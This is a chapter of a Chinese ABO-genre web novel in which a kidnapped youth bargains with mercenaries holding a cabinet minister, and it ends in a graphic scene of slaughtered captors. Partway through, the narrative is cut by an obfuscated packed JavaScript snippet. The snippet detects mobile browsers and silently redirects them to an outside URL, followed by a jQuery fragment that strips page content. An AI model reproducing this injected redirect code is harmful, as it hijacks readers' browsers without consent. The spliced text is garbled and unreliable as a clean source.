狗屁,后备箱里塞着N具尸体,车里的味道比林喜的信息素还刺激,你们也好意思说自己想过手下留情。湛左心中对这话嗤之以鼻,面上倒没体现出来,只放软语气说: “说破了才好讨价还价嘛,你们在异国他乡过得肯定不容易,我其实很理解你们的难处。” 绑匪:“?” 他们有什么难处?他们自己怎么不知道? 湛左:“你们绑架大臣,是准备在撤出联邦首都时,把他当成令轨道环上的自动武器投鼠忌器的人质吗?” 理性分析,他们在太阳湾内部躲得好好的,说明地表的驻军不成威胁,此时再煞费苦心地多生事端,大概率是为了应付逃跑路径上更强大的敌人。 ——湛左记得联邦的中学课本里说过,太阳湾居民头顶的轨道环空间站上架设着上万座炮筒,随时预备向胆敢前来进犯的敌人展开流星雨般的攻击。 被它们锁定上就完蛋了,除非手里攥着蒋嘉茂这张通行证。 为什么是蒋嘉茂? 一是因为最近的高官政要里属他最为活跃、日程有迹可循。 二是因为他人比较倒霉。 “……” 绑匪头子感叹地咂咂嘴,说道:“我确实不能放过你了,你知道得太多了。三号,给他注射信息素试剂。” “等一下/等等!” 湛左和蒋嘉茂同时开口,湛左先一步飞快地说: “我有办法让你们绕开轨道环的封锁、以不惊动任何人的方式撤出太阳湾!” 要是之前他不说出那些个准确率惊人的猜想,绑匪头子才不会把他的话当回事。 但是现在湛左在他心中的地位已然不同了。被称作三号的绑匪小心翼翼地从一个密封的黑箱子里掏出一根储存着金灿灿的液体的针管,正要给湛左注射,绑匪头子抬起手制止他: “停,让我听听我们的‘小客人’还有什么话要说。” 湛左轻微舒了口气,尽量侧过身,让自己离那只诡异的生化武器远点——天知道沃尔玛购物袋受到信息素冲击后会发生什么事,他该不会狂性大发、冲进超市零元购吧? “我的母亲有一个哥哥,在多年前结了婚,他的结婚对象是一位经营着自己的船队,常年在国内外往返的外贸商人。” 绑匪们对视一眼:“你是指你的舅父?” 这年头做外贸可不容易,一要有钱,能买得起或租得起长途飞船,二要有人,能找到足够便宜的货源,以及在各个国家政府部门打通关节,避免哪天莫名其妙被当成间谍抓起来。 湛左的舅父就是这样一个满足条件的老登。 此等老登属于珍稀物种,那是相当不好找,就算找到了,如何威胁对方及一船人配合自己也是个问题。 这时有聪明人又要问了,既然情报到手了,能不能干掉湛左,也不告诉老登,只偷偷潜进他的飞船呢? 可惜不能,演技和潜伏能力不是谁都有的,假如在场的绑匪做得到这一点,他们就不是绑匪,而是帝国燕双鹰了。 湛左含蓄地点点头:“舅父的货船按照计划会在三天后离港,我可以想办法将你们安排进去。 “就算是联邦军队也料不到你们能在短短几天内,和一支经营多年的外贸公司扯上关系,等他们反应过来的时候,你们早已离开了太阳湾,这岂不是比大张旗鼓地用内阁大臣当人质更加简单安全?” 湛左未必可信,但他的提议实在动人。 绑匪也没想到他们铤而走险绑架内阁大臣,此行最大的收获却是一旁的路人,车内暂时安静下来,恐怖分子首领默默思索着湛左的提议,半晌,司机犹豫地问:“那我们现在是……” “先把他们两个带回驻地。”首领说,“我要调查一下这小子的背景,看他说的是真是假。” “你最好抓紧时间,”湛左反客为主地劝道,“飞船不等人啊。” …… “所以你的舅父真是外贸公司老板?” 蒋嘉茂问道。 他们一到目的地就被关进了地下室,昏暗的灯光下只有一张没铺垫子的金属床,眼下两人就在又凉又硬的床板上坐着。 “是,我说的都是实话。” 目前湛左低落的心情有所好转,但也不像刚见到蒋嘉茂时那么兴奋了,颇有种看破红尘的感觉,“大臣阁下也该对我讲讲前因后果了吧?” 蒋嘉茂微叹一声,干脆把理应是国家机密的情报和盘托出。 包括军区袭击,自己的工作,和财政部拨款等等。 结果他还没说完,湛左敏锐地抓住了重点。 拨款? 拨款??? “哎呀,哎呀。” 湛左一连“哎呀”了两次,只觉得峰回路转,人生忽然又充满希望了!! 真是瞌睡来了送枕头,这笔拨款既然能用在打仗上面,那是不是也能用来给星海军校修卫生间呢?! 蒋嘉茂就见湛左突然目光灼灼地看了过来,一双眼睛简直像是冬夜里的星星,亮得出奇: “蒋先生,我们今天先后经历了约会、爆炸、和绑架,也算是缘分一场,如果有机会平安离开,你能不能答应我一个条件?放心,这个条件对你我都有利。” 蒋嘉茂:“?可以。” 他觉得是个人就很难拒绝此刻的湛左。 湛左见到了希望的曙光,不由深吸一口气,大脑迅速转动起来:“让我想想,让我想一想……对了,人造信息素试剂是什么东西?” “……就像我之前说的那样,是专门用在战场上对敌的生化武器。” 蒋嘉茂低声说,“大量的由人体产生的Alpha信息素能诱导Omega发情,这点你已经知道了,但是战场上的Alpha士兵最多,其他性别的人也有,人造信息素试剂就是在‘诱导发情’的原理基础上,使所有人失去战斗力。” 他在“所有人”三个字上重读了。 “国际上禁止生产、储存、获取或保留这一类武器,不过无论是联邦还是帝国,私底下都在研究相关技术和解药,免得在大战爆发时失去应对手段。外面那群帝国人,前两天打着抗议战争的旗号,袭击了首都太阳湾的军区,带走了那几箱试剂,恐怕这才是他们的真实目的……” 湛左听着听着,表情渐渐微妙。 那不就是春/药吗……敌国雇佣兵煞费苦心地闯进军事重地抢劫春|药,不愧是ABO世界。他稍微想象一下信息素试剂被使用的场景,就觉得满眼马赛克无法过审,于是充满兴趣地详细问道: “它是怎么用的?正常情况下肯定不应该是放在针筒里注射的吧?” “不,是放在炮弹里,靠着爆炸挥发快速扩散。” “效果如何呢?军队测试过吗?连Beta也会受影响?” 蒋嘉茂扯扯嘴角:“我不知道。虽说这种武器的研发在联邦和帝国的上层是个公开的秘密,但他们不会四处向人介绍自己的新武器有多厉害,否则敌人就要提前做准备了。” 哦,原来是新武器,难怪他没听说过。 湛左倒在硬板床上,望着头顶的灯泡不说话了。 蒋嘉茂忙于思考脱身方法,也无心开启新话题,于是地下室重新恢复了寂静,空气里萦绕着沉闷的气氛,仿佛俘虏们走到山穷水尽的地步、无计可施了。 …… 时间一点一滴流逝,地下室里没有钟表,湛左不确定过去多久,不过在他感觉到一阵令人焦躁的饥饿时,有绑匪进来送饭,并问了一个问题: “你的舅父是博尔德吗?” “是,”湛左立刻说,“我可以帮你们联系他。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210385|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来恐怖分子头子终于下定决心了。 “你跟我来。”送饭的绑匪指指湛左,又对想要跟着起身的蒋嘉茂说,“你留在这里,别耍花招,房间里有针孔摄像头。” 原来如此。蒋嘉茂心想。他们肯定通过摄像头听到了湛左那句“我说的都是实话”。 好在他和湛左没聊到什么恐怖分子不知道的东西。 ——比方说,蒋嘉茂其实随身带着一个求救新号发射器。这枚发射器被放在了非常隐蔽的位置,所以连蒋嘉茂的婚戒都不放过的绑匪在搜身时并没有发现。 一路上蒋嘉茂都没表现出自己有后路的样子,硬是忍到绑匪带走湛左、对他放松警惕,又为了让他能吃饭、帮他把手腕上的尼龙扎带调松的时刻。 也就是现在。 他抬起手,像是感觉头疼般地揉了揉鬓角。 蒋嘉茂鬓角的发丝下方有有一道不起眼的伤疤,那是植入芯片后留下的痕迹。 绑匪没想到,甚至湛左也没注意到,因为ABO世界科技很发达,但却不像2077年的地球那样流行义体改装,两个世界间的区别归根结底是由人类的生理结构变化导致的。 在六种性别的世界,个体间的差距太大,义体很难适配所有的使用者,定制款则造价高昂,普通人担负不起。 另一方面,为了弥补战斗力的不足,人类研究出了机甲,而尽管原理未知、却有广泛的证据表明,人类的身体在受到不可挽回的伤势后,与机甲的适配度会下降。 ——就是赛博义体和机甲只能二选一的意思。 地球和ABO世界的科技树加点就此分道扬镳。 ABO世界的人们习惯了尽可能地保证身体的完整性,就如同面对一个运行中的程序代码,既不敢轻易删改,也不敢往里添加新条目,生怕它一时想不开出现无法解决的bug。 连蒋嘉茂这种往皮肤里塞芯片的操作都很少见。 定位信号发出去以后,蒋嘉茂短暂地松了口气,紧接着又忧虑起了湛左那边。 ……绑匪不大可能放他出去帮忙,蒋嘉茂只能寄希望于救援队赶过来的速度能更快一点,以及湛左可以在绑匪手中坚持得再久一点。 …… 又过了大约一个小时。 反复敲门却没能得到回应的蒋嘉茂越来越恍惚。不知是不是一晚上没休息的缘故,他感到四肢充血、浑身燥热、心跳加速、恶心欲呕,精神异常亢奋的情况下,身体却提不起力气。 这是怎么回事? 蒋嘉茂下意识地摸了摸自己的后颈。 半秒钟后,只听“咔嚓”一声,地下室的门开了。 最先映入眼帘的是蜿蜒的血迹。 鲜血顺着地板缝一直流到脚尖,仿佛是吞吐信子的毒蛇,蒋嘉茂迟钝地注视着这一幕,过了片刻缓缓站起身,犹如受到了魔鬼蛊惑一般,沿着血痕向门外走去。 他的眼睛、耳朵、和鼻子上面好似多了一层不可见的薄膜,尽管直觉始终在报警,大脑对眼前事物的认知却模糊不清。 地下室外,走廊尽头的景象影影绰绰,有人挡在出口,一动不动地靠墙坐着。 “你……” 蒋嘉茂张开嘴,发出含糊的声音。 他想问,湛左,你怎么了? 然而走近之后,他才看清,那是绑架他们的蒙面人之一,此人的胸口插着一把厨刀,刀尖深深没进血肉之躯,全身上下到处都是被一刀一刀捅出来的伤口,自伤口中喷洒出来的鲜血像油墨一样从地面一直溅到天花板。 “……” 蒋嘉茂怀疑自己神志不清了。他扶着黏腻温热的墙壁抬起头,看向前方。 前方是绑匪安全屋的大厅。 最左边的地毯上躺着一个蒙面人,喉咙里插着台灯灯罩的碎片,旁边是一座白里透红的沙发,另一个人呈大字形仰面躺在沙发背上,吐了一地宛若雪中梅花似的内脏碎屑。 蒋嘉茂转向右边,右边门口有个蒙面人维持着手臂向前伸的姿势,趴在玄关的台阶上,后脑勺被晾衣架杆砸得凹陷进去,脑浆混着血液从骨头缝里流淌出来;第五个人死死拽着他的腿,咬着他的脚踝,后背上有三个整齐排列的弹孔。 而在这宛若修罗地狱般的画面中,还存在着第六个人。 这个人正对着蒋嘉茂站在客厅中间,一只手插在外套口袋里,另一只手拄着拐杖,面孔上没有丝毫动容,漆黑的眼睛像两潭幽冷的深井,倒影着尸体堆里唯二的活人。 是湛左。 一个陌生得不像湛左的湛左。 他看到蒋嘉茂之后,只说了两句话。 一句是:“人不是我杀的。” 另一句是:“人造信息素试剂爆炸了,我们快点走。”